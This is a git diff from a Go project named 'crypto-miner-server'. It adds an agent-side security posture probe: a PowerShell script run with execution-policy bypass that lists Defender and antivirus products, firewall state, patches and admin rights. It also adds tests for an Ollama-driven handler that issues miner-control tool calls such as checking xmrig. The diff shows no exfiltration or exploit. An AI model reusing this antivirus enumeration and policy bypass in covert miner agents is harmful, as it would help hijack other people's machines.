||||
// APT check (outputs "pkg;security" lines)
|
||||
if out, err := exec.Command("/bin/sh", "-c",
|
||||
"/usr/lib/update-notifier/apt-check 2>&1 | cut -d';' -f1").CombinedOutput(); err == nil {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && n >= 0 {
|
||||
return n
|
||||
}
|
||||
}
|
||||
// YUM/DNF
|
||||
if out, err := exec.Command("/bin/sh", "-c",
|
||||
"yum check-update --quiet 2>/dev/null | grep -c '^[a-zA-Z]'").CombinedOutput(); err == nil {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil {
|
||||
return n
|
||||
}
|
||||
}
|
||||
// apk (Alpine)
|
||||
if out, err := exec.Command("/bin/sh", "-c",
|
||||
"apk version -l '<' 2>/dev/null | wc -l").CombinedOutput(); err == nil {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil {
|
||||
return n
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// probeUnixRebootPending checks kernel and package signals for a required reboot.
|
||||
func probeUnixRebootPending() bool {
|
||||
// Debian/Ubuntu explicit flag
|
||||
if _, err := os.Stat("/var/run/reboot-required"); err == nil {
|
||||
return true
|
||||
}
|
||||
// Kernel update check: compare running vs installed
|
||||
if out, err := exec.Command("uname", "-r").CombinedOutput(); err == nil {
|
||||
running := strings.TrimSpace(string(out))
|
||||
// Check if a newer kernel package exists
|
||||
if out2, err := exec.Command("/bin/sh", "-c",
|
||||
fmt.Sprintf("ls /boot/vmlinuz-* 2>/dev/null | grep -v '%s' | wc -l", running)).CombinedOutput(); err == nil {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(string(out2))); err == nil && n > 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// probeUnixElevated returns true when running as root (uid 0).
|
||||
func probeUnixElevated() bool {
|
||||
u, err := user.Current()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return u.Uid == "0"
|
||||
}
|
||||
233
agent/client/posture_windows.go
Normal file
233
agent/client/posture_windows.go
Normal file
@@ -0,0 +1,233 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// postureProbeScript runs in a single PowerShell invocation.
|
||||
// Every section is wrapped in try/catch — one failing check never kills the probe.
|
||||
// The WUA pending-update query runs in a background job capped at 15 s so it
|
||||
// never blocks the agent's stats loop even on machines with a busy WU stack.
|
||||
const postureProbeScript = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$p = [ordered]@{}
|
||||
|
||||
# ── Defender ──────────────────────────────────────────────────────────────────
|
||||
try {
|
||||
$mp = Get-MpComputerStatus
|
||||
if ($mp) {
|
||||
$p.defender_enabled = [bool]$mp.AntivirusEnabled
|
||||
$p.defender_rtp = [bool]$mp.RealTimeProtectionEnabled
|
||||
}
|
||||
} catch {}
|
||||
|
||||
# ── AV products via WMI / CIM (catches third-party AV) ───────────────────────
|
||||
try {
|
||||
$avList = @(Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntiVirusProduct |
|
||||
Select-Object -ExpandProperty displayName)
|
||||
if ($avList.Count -gt 0) { $p.av_products = $avList }
|
||||
} catch {
|
||||
try {
|
||||
$avList = @(Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct |
|
||||
Select-Object -ExpandProperty displayName)
|
||||
if ($avList.Count -gt 0) { $p.av_products = $avList }
|
||||
} catch {}
|
||||
}
|
||||
|
||||
# ── Firewall — per profile (T1686.003) ───────────────────────────────────────
|
||||
try {
|
||||
foreach ($profile in (Get-NetFirewallProfile)) {
|
||||
switch ($profile.Name) {
|
||||
'Domain' { $p.firewall_domain = [bool]$profile.Enabled }
|
||||
'Private' { $p.firewall_private = [bool]$profile.Enabled }
|
||||
'Public' { $p.firewall_public = [bool]$profile.Enabled }
|
||||
}
|
||||
}
|
||||
} catch {}
|
||||
|
||||
# ── SSH service ───────────────────────────────────────────────────────────────
|
||||
try {
|
||||
$svc = Get-Service -Name sshd
|
||||
$p.ssh_listening = ($svc.Status -eq 'Running')
|
||||
} catch { $p.ssh_listening = $false }
|
||||
|
||||
# ── Patch age — last installed hotfix ─────────────────────────────────────────
|
||||
try {
|
||||
$hf = Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 1
|
||||
if ($hf -and $hf.InstalledOn) {
|
||||
$d = [datetime]$hf.InstalledOn
|
||||
$days = [int]((Get-Date) - $d).TotalDays
|
||||
if ($days -lt 0) { $days = 0 }
|
||||
$p.last_patch = $d.ToString('yyyy-MM-dd')
|
||||
$p.last_patch_days = $days
|
||||
$p.patch_recent = ($days -le 30)
|
||||
}
|
||||
} catch {}
|
||||
|
||||
# ── Pending updates — WUA COM, capped at 15 s ────────────────────────────────
|
||||
# Runs in a background job so a stuck WU stack cannot block the agent.
|
||||
try {
|
||||
$job = Start-Job -ScriptBlock {
|
||||
$sess = New-Object -ComObject Microsoft.Update.Session
|
||||
$searcher = $sess.CreateUpdateSearcher()
|
||||
$result = $searcher.Search("IsInstalled=0 and IsHidden=0 and Type='Software'")
|
||||
$result.Updates.Count
|
||||
}
|
||||
$done = Wait-Job $job -Timeout 15
|
||||
if ($done -and $done.State -eq 'Completed') {
|
||||
$cnt = [int](Receive-Job $job)
|
||||
$p.pending_updates = $cnt
|
||||
} else {
|
||||
$p.pending_updates = -1 # timed out or failed
|
||||
Remove-Job $job -Force
|
||||
}
|
||||
} catch { $p.pending_updates = -1 }
|
||||
|
||||
# ── Reboot pending — registry tripwires ──────────────────────────────────────
|
||||
try {
|
||||
$rp = $false
|
||||
# Windows Update requested reboot
|
||||
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired') {
|
||||
$rp = $true
|
||||
}
|
||||
# CBS / Feature Update pending
|
||||
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending') {
|
||||
$rp = $true
|
||||
}
|
||||
# Session Manager pending file rename (common post-patch signal)
|
||||
$pfro = (Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager' -Name PendingFileRenameOperations -ErrorAction SilentlyContinue)
|
||||
if ($pfro -and $pfro.PendingFileRenameOperations) { $rp = $true }
|
||||
$p.reboot_pending = $rp
|
||||
} catch { $p.reboot_pending = $false }
|
||||
|
||||
# ── Elevation ─────────────────────────────────────────────────────────────────
|
||||
try {
|
||||
$id = [Security.Principal.WindowsIdentity]::GetCurrent()
|
||||
$pr = New-Object Security.Principal.WindowsPrincipal($id)
|
||||
$p.agent_elevated = $pr.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
|
||||
} catch { $p.agent_elevated = $false }
|
||||
|
||||
$p.agent_service_ok = $true
|
||||
$p | ConvertTo-Json -Compress
|
||||
`
|
||||
|
||||
func collectPosture() *PostureReport {
|
||||
out, err := exec.Command(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
postureProbeScript,
|
||||
).CombinedOutput()
|
||||
if err != nil {
|
||||
return fallbackPosture()
|
||||
}
|
||||
|
||||
raw := strings.TrimSpace(string(out))
|
||||
// PowerShell may emit warnings before the JSON; find the last '{'.
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
|
||||
var m map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(raw), &m); err != nil {
|
||||
return fallbackPosture()
|
||||
}
|
||||
|
||||
r := &PostureReport{
|
||||
DefenderEnabled: jsonBool(m, "defender_enabled"),
|
||||
DefenderRTP: jsonBool(m, "defender_rtp"),
|
||||
AVProducts: jsonStringSlice(m, "av_products"),
|
||||
FirewallDomain: jsonBool(m, "firewall_domain"),
|
||||
FirewallPrivate: jsonBool(m, "firewall_private"),
|
||||
FirewallPublic: jsonBool(m, "firewall_public"),
|
||||
SSHListening: jsonBool(m, "ssh_listening"),
|
||||
LastPatch: jsonString(m, "last_patch"),
|
||||
LastPatchDays: jsonInt(m, "last_patch_days"),
|
||||
PatchRecent: jsonBool(m, "patch_recent"),
|
||||
PendingUpdates: jsonInt(m, "pending_updates"),
|
||||
RebootPending: jsonBool(m, "reboot_pending"),
|
||||
AgentElevated: jsonBool(m, "agent_elevated"),
|
||||
AgentServiceOK: boolPtr(true),
|
||||
}
|
||||
r.PostureScore = computePostureScore(r)
|
||||
return r
|
||||
}
|
||||
|
||||
func fallbackPosture() *PostureReport {
|
||||
ssh := probeSSH()
|
||||
r := &PostureReport{SSHListening: &ssh, AgentServiceOK: boolPtr(true)}
|
||||
r.PostureScore = computePostureScore(r)
|
||||
return r
|
||||
}
|
||||
|
||||
// ── JSON field helpers ────────────────────────────────────────────────────────
|
||||
|
||||
func jsonBool(m map[string]interface{}, key string) *bool {
|
||||
v, ok := m[key]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
switch t := v.(type) {
|
||||
case bool:
|
||||
return &t
|
||||
case string:
|
||||
b := strings.EqualFold(t, "true") || t == "1"
|
||||
return &b
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func jsonInt(m map[string]interface{}, key string) *int {
|
||||
v, ok := m[key]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
switch t := v.(type) {
|
||||
case float64:
|
||||
n := int(t)
|
||||
return &n
|
||||
case int:
|
||||
return &t
|
||||
case string:
|
||||
if n, err := strconv.Atoi(t); err == nil {
|
||||
return &n
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func jsonString(m map[string]interface{}, key string) *string {
|
||||
v, ok := m[key]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
if s, ok := v.(string); ok && s != "" {
|
||||
return &s
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func jsonStringSlice(m map[string]interface{}, key string) []string {
|
||||
v, ok := m[key]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
switch t := v.(type) {
|
||||
case string:
|
||||
if t != "" {
|
||||
return []string{t}
|
||||
}
|
||||
case []interface{}:
|
||||
var out []string
|
||||
for _, item := range t {
|
||||
if s, ok := item.(string); ok && s != "" {
|
||||
out = append(out, s)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -75,7 +75,21 @@ type StatsPayload struct {
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
|
||||
// SSH + posture
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
PostureScore *int `json:"posture_score,omitempty"`
|
||||
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||||
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
||||
AVProducts []string `json:"av_products,omitempty"`
|
||||
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
||||
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
||||
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
||||
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
||||
LastPatch *string `json:"last_patch,omitempty"`
|
||||
PendingUpdates *int `json:"pending_updates,omitempty"`
|
||||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
||||
}
|
||||
|
||||
type ShareResult struct {
|
||||
|
||||
@@ -3,22 +3,278 @@ package api
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/ollama"
|
||||
)
|
||||
|
||||
func TestHandleReportSingleAndArray(t *testing.T) {
|
||||
// Numeric constants from ai_handler.go (guard against silent drift).
|
||||
const (
|
||||
aiReportBufferCap = 1000
|
||||
aiHeartbeatIntervalSeconds = 60
|
||||
aiReasoningTruncateLen = 120
|
||||
aiReportOutputTruncateLen = 200
|
||||
aiEngineIdleTTL = time.Hour
|
||||
aiActivityIdleTTL = 24 * time.Hour
|
||||
aiCleanupTickerInterval = 10 * time.Minute
|
||||
)
|
||||
|
||||
func newTestAIHandler(t *testing.T) *AIHandler {
|
||||
t.Helper()
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
t.Cleanup(func() { database.Close() })
|
||||
return NewAIHandler(database)
|
||||
}
|
||||
|
||||
h := NewAIHandler(database)
|
||||
func mockOllamaChatServer(t *testing.T, content string, status int) *httptest.Server {
|
||||
t.Helper()
|
||||
if status == 0 {
|
||||
status = http.StatusOK
|
||||
}
|
||||
return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/chat" {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
w.WriteHeader(status)
|
||||
if status != http.StatusOK {
|
||||
_, _ = w.Write([]byte("ollama down"))
|
||||
return
|
||||
}
|
||||
payload := map[string]interface{}{
|
||||
"message": map[string]string{"content": content},
|
||||
"done": true,
|
||||
}
|
||||
_ = json.NewEncoder(w).Encode(payload)
|
||||
}))
|
||||
}
|
||||
|
||||
func ollamaDecideContent(reasoning string, tools []ollama.ToolCall) string {
|
||||
resp := ollama.DecideResponse{Reasoning: reasoning, ToolCalls: tools}
|
||||
b, _ := json.Marshal(resp)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func TestAIConstants(t *testing.T) {
|
||||
if aiReportBufferCap != 1000 || aiHeartbeatIntervalSeconds != 60 ||
|
||||
aiReasoningTruncateLen != 120 || aiReportOutputTruncateLen != 200 ||
|
||||
aiEngineIdleTTL != time.Hour || aiActivityIdleTTL != 24*time.Hour ||
|
||||
aiCleanupTickerInterval != 10*time.Minute {
|
||||
t.Fatal("ai_handler constants drifted from documented values")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAINewAIHandler(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
if h.db == nil || h.engines == nil || h.activity == nil {
|
||||
t.Fatal("NewAIHandler did not initialize fields")
|
||||
}
|
||||
if cap(h.reports) != aiReportBufferCap {
|
||||
t.Fatalf("reports slice cap want %d got %d", aiReportBufferCap, cap(h.reports))
|
||||
}
|
||||
if len(h.ActivitySnapshot()) != 0 {
|
||||
t.Fatal("expected empty activity snapshot")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAITruncateStr(t *testing.T) {
|
||||
if truncateStr("short", aiReasoningTruncateLen) != "short" {
|
||||
t.Fatal("short string should be unchanged")
|
||||
}
|
||||
long := strings.Repeat("x", aiReasoningTruncateLen+10)
|
||||
out := truncateStr(long, aiReasoningTruncateLen)
|
||||
if len(out) != aiReasoningTruncateLen+3 || !strings.HasSuffix(out, "...") {
|
||||
t.Fatalf("truncate want len %d with ellipsis, got %q", aiReasoningTruncateLen+3, out)
|
||||
}
|
||||
if truncateStr("", 5) != "" {
|
||||
t.Fatal("empty string")
|
||||
}
|
||||
if truncateStr("exact", 5) != "exact" {
|
||||
t.Fatal("exact length boundary")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAISetEngineForAgentAndGetRemove(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
srv := mockOllamaChatServer(t, ollamaDecideContent("ok", nil), http.StatusOK)
|
||||
defer srv.Close()
|
||||
|
||||
h.SetEngineForAgent("agent-a", srv.URL, "test-model")
|
||||
if h.GetEngine("agent-a") == nil {
|
||||
t.Fatal("GetEngine returned nil after SetEngineForAgent")
|
||||
}
|
||||
h.RemoveEngine("agent-a")
|
||||
if h.GetEngine("agent-a") != nil {
|
||||
t.Fatal("GetEngine should be nil after RemoveEngine")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAISetEngineForAgentDefaults(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
var gotModel string
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
Model string `json:"model"`
|
||||
}
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
gotModel = req.Model
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_ = json.NewEncoder(w).Encode(map[string]interface{}{
|
||||
"message": map[string]string{"content": ollamaDecideContent("ok", nil)},
|
||||
"done": true,
|
||||
})
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
h.SetEngineForAgent("agent-defaults", srv.URL, "")
|
||||
eng := h.GetEngine("agent-defaults")
|
||||
if eng == nil {
|
||||
t.Fatal("engine missing")
|
||||
}
|
||||
_, err := eng.Decide(&ollama.AgentState{AgentID: "agent-defaults"})
|
||||
if err != nil {
|
||||
t.Fatalf("Decide: %v", err)
|
||||
}
|
||||
if gotModel != "llama3.2" {
|
||||
t.Fatalf("default model want llama3.2 got %q", gotModel)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIHandleDecideErrors(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", strings.NewReader("{"))
|
||||
w := httptest.NewRecorder()
|
||||
h.HandleDecide(w, req)
|
||||
if w.Code != http.StatusBadRequest {
|
||||
t.Fatalf("invalid JSON status %d", w.Code)
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", strings.NewReader(`{"worker_name":"x"}`))
|
||||
w = httptest.NewRecorder()
|
||||
h.HandleDecide(w, req)
|
||||
if w.Code != http.StatusBadRequest || !strings.Contains(w.Body.String(), "agent_id") {
|
||||
t.Fatalf("missing agent_id status %d body %s", w.Code, w.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIHandleDecideSuccess(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
content := ollamaDecideContent("all good", []ollama.ToolCall{{
|
||||
Tool: "check_miner", Args: map[string]string{"process_name": "xmrig"}, Reason: "verify",
|
||||
}})
|
||||
srv := mockOllamaChatServer(t, content, http.StatusOK)
|
||||
defer srv.Close()
|
||||
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": "agent-decide-ok",
|
||||
"ollama_endpoint": srv.URL,
|
||||
"model": "test-model",
|
||||
"hostname": "host1",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body))
|
||||
w := httptest.NewRecorder()
|
||||
h.HandleDecide(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", w.Code, w.Body.String())
|
||||
}
|
||||
var resp ollama.DecideResponse
|
||||
if err := json.NewDecoder(w.Body).Decode(&resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "check_miner" {
|
||||
t.Fatalf("unexpected tool calls: %+v", resp.ToolCalls)
|
||||
}
|
||||
|
||||
snap := h.ActivitySnapshot()
|
||||
var found bool
|
||||
for _, e := range snap {
|
||||
if e.AgentID == "agent-decide-ok" && e.LastAction == "check_miner" && e.ToolCallCount == 1 {
|
||||
found = true
|
||||
if len(e.LastReasoning) > aiReasoningTruncateLen+3 {
|
||||
t.Fatalf("reasoning should be truncated to %d", aiReasoningTruncateLen)
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("activity not recorded: %+v", snap)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIHandleDecideOllamaFailureFallback(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
srv := mockOllamaChatServer(t, "", http.StatusInternalServerError)
|
||||
defer srv.Close()
|
||||
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": "agent-decide-fail",
|
||||
"ollama_endpoint": srv.URL,
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body))
|
||||
w := httptest.NewRecorder()
|
||||
h.HandleDecide(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("fallback should return 200, got %d", w.Code)
|
||||
}
|
||||
var out map[string]interface{}
|
||||
if err := json.NewDecoder(w.Body).Decode(&out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out["error"] == nil {
|
||||
t.Fatal("expected error field")
|
||||
}
|
||||
tools, ok := out["tool_calls"].([]interface{})
|
||||
if !ok || len(tools) != 1 {
|
||||
t.Fatalf("expected sleep fallback tool_calls, got %v", out["tool_calls"])
|
||||
}
|
||||
first, _ := tools[0].(map[string]interface{})
|
||||
if first["tool"] != "sleep" {
|
||||
t.Fatalf("expected sleep tool, got %v", first["tool"])
|
||||
}
|
||||
args, _ := first["args"].(map[string]interface{})
|
||||
if args["seconds"] != "120" {
|
||||
t.Fatalf("fallback sleep seconds want 120 got %v", args["seconds"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIHandleDecideCreatesEngineOnFirstRequest(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
content := ollamaDecideContent("idle", nil)
|
||||
srv := mockOllamaChatServer(t, content, http.StatusOK)
|
||||
defer srv.Close()
|
||||
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": "agent-new",
|
||||
"ollama_endpoint": srv.URL,
|
||||
"model": "m1",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body))
|
||||
w := httptest.NewRecorder()
|
||||
h.HandleDecide(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status %d %s", w.Code, w.Body.String())
|
||||
}
|
||||
if h.GetEngine("agent-new") == nil {
|
||||
t.Fatal("engine should exist after first decide")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIHandleReportSingleAndArray(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
|
||||
single := ollama.Report{
|
||||
AgentID: "agent-1",
|
||||
@@ -54,6 +310,166 @@ func TestHandleReportSingleAndArray(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIHandleReportErrors(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", errReader{})
|
||||
w := httptest.NewRecorder()
|
||||
h.HandleReport(w, req)
|
||||
if w.Code != http.StatusBadRequest {
|
||||
t.Fatalf("read error status %d", w.Code)
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", strings.NewReader("not-json"))
|
||||
w = httptest.NewRecorder()
|
||||
h.HandleReport(w, req)
|
||||
if w.Code != http.StatusBadRequest {
|
||||
t.Fatalf("invalid json status %d", w.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIHandleReportBufferCap(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
for i := 0; i < aiReportBufferCap+5; i++ {
|
||||
r := ollama.Report{AgentID: "cap-agent", Tool: "sleep", Success: true}
|
||||
b, _ := json.Marshal(r)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", bytes.NewReader(b))
|
||||
w := httptest.NewRecorder()
|
||||
h.HandleReport(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("report %d status %d", i, w.Code)
|
||||
}
|
||||
}
|
||||
h.mu.RLock()
|
||||
n := len(h.reports)
|
||||
h.mu.RUnlock()
|
||||
if n != aiReportBufferCap {
|
||||
t.Fatalf("reports len want %d got %d", aiReportBufferCap, n)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIHandleReportEventBroadcaster(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
var events []AIActivityEntry
|
||||
h.SetEventBroadcaster(func(e AIActivityEntry) {
|
||||
events = append(events, e)
|
||||
})
|
||||
|
||||
r := ollama.Report{AgentID: "evt-agent", Tool: "upload_log", Success: true, Output: "done"}
|
||||
b, _ := json.Marshal(r)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", bytes.NewReader(b))
|
||||
w := httptest.NewRecorder()
|
||||
h.HandleReport(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", w.Code)
|
||||
}
|
||||
if len(events) != 1 || events[0].AgentID != "evt-agent" || events[0].LastTool != "upload_log" {
|
||||
t.Fatalf("broadcaster events: %+v", events)
|
||||
}
|
||||
var resp map[string]interface{}
|
||||
_ = json.NewDecoder(bytes.NewReader(w.Body.Bytes())).Decode(&resp)
|
||||
if resp["received"].(float64) != 1 || resp["success"] != true {
|
||||
t.Fatalf("response: %v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIHandleHeartbeat(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat", strings.NewReader("{"))
|
||||
w := httptest.NewRecorder()
|
||||
h.HandleHeartbeat(w, req)
|
||||
if w.Code != http.StatusBadRequest {
|
||||
t.Fatalf("invalid JSON status %d", w.Code)
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat", strings.NewReader(`{"status":"alive"}`))
|
||||
w = httptest.NewRecorder()
|
||||
h.HandleHeartbeat(w, req)
|
||||
if w.Code != http.StatusBadRequest {
|
||||
t.Fatalf("missing agent_id status %d", w.Code)
|
||||
}
|
||||
|
||||
body, _ := json.Marshal(heartbeatRequest{AgentID: "hb-agent", Status: "alive", Message: "ok"})
|
||||
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat", bytes.NewReader(body))
|
||||
w = httptest.NewRecorder()
|
||||
h.HandleHeartbeat(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status %d %s", w.Code, w.Body.String())
|
||||
}
|
||||
var out map[string]interface{}
|
||||
if err := json.NewDecoder(w.Body).Decode(&out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out["success"] != true {
|
||||
t.Fatalf("success: %v", out["success"])
|
||||
}
|
||||
interval, ok := out["interval"].(float64)
|
||||
if !ok || int(interval) != aiHeartbeatIntervalSeconds {
|
||||
t.Fatalf("interval want %d got %v", aiHeartbeatIntervalSeconds, out["interval"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIRecordActivityMergeAndBroadcast(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
now := time.Now()
|
||||
h.mu.Lock()
|
||||
h.activity["merge-agent"] = AIActivityEntry{
|
||||
AgentID: "merge-agent",
|
||||
LastReportAt: now,
|
||||
LastSuccess: true,
|
||||
ToolCallCount: 3,
|
||||
}
|
||||
h.mu.Unlock()
|
||||
|
||||
var broadcasted AIActivityEntry
|
||||
h.SetEventBroadcaster(func(e AIActivityEntry) {
|
||||
broadcasted = e
|
||||
})
|
||||
|
||||
h.recordActivity(AIActivityEntry{
|
||||
AgentID: "merge-agent",
|
||||
LastDecideAt: now.Add(time.Minute),
|
||||
LastAction: "sleep",
|
||||
LastTool: "sleep",
|
||||
LastReasoning: "rest",
|
||||
ToolCallCount: 0, // zero must not wipe previous count
|
||||
})
|
||||
|
||||
h.mu.RLock()
|
||||
prev := h.activity["merge-agent"]
|
||||
h.mu.RUnlock()
|
||||
if prev.ToolCallCount != 3 {
|
||||
t.Fatalf("zero ToolCallCount should not clear prior count, got %d", prev.ToolCallCount)
|
||||
}
|
||||
if prev.LastAction != "sleep" || prev.LastReasoning != "rest" {
|
||||
t.Fatalf("merged activity: %+v", prev)
|
||||
}
|
||||
if broadcasted.AgentID != "merge-agent" {
|
||||
t.Fatalf("broadcast: %+v", broadcasted)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAIActivitySnapshot(t *testing.T) {
|
||||
h := newTestAIHandler(t)
|
||||
h.mu.Lock()
|
||||
h.activity["a"] = AIActivityEntry{AgentID: "a"}
|
||||
h.activity["b"] = AIActivityEntry{AgentID: "b"}
|
||||
h.mu.Unlock()
|
||||
snap := h.ActivitySnapshot()
|
||||
if len(snap) != 2 {
|
||||
t.Fatalf("want 2 entries got %d", len(snap))
|
||||
}
|
||||
}
|
||||
|
||||
type errReader struct{}
|
||||
|
||||
func (errReader) Read([]byte) (int, error) { return 0, errors.New("read fail") }
|
||||
func (errReader) Close() error { return nil }
|
||||
|
||||
// errReader must satisfy io.ReadCloser for request body
|
||||
var _ io.ReadCloser = errReader{}
|
||||
|
||||
func TestEstimateXMRPerDay(t *testing.T) {
|
||||
out := EstimateXMRPerDay(3_000_000_000)
|
||||
xmr, ok := out["xmr_per_day"].(float64)
|
||||
|
||||
72
server/internal/api/auth_test.go
Normal file
72
server/internal/api/auth_test.go
Normal file
@@ -0,0 +1,72 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestCheckPasswordBcryptAndLegacy(t *testing.T) {
|
||||
hashed, err := hashPassword("secret123")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !checkPassword(hashed, "secret123") {
|
||||
t.Fatal("bcrypt hash should match correct password")
|
||||
}
|
||||
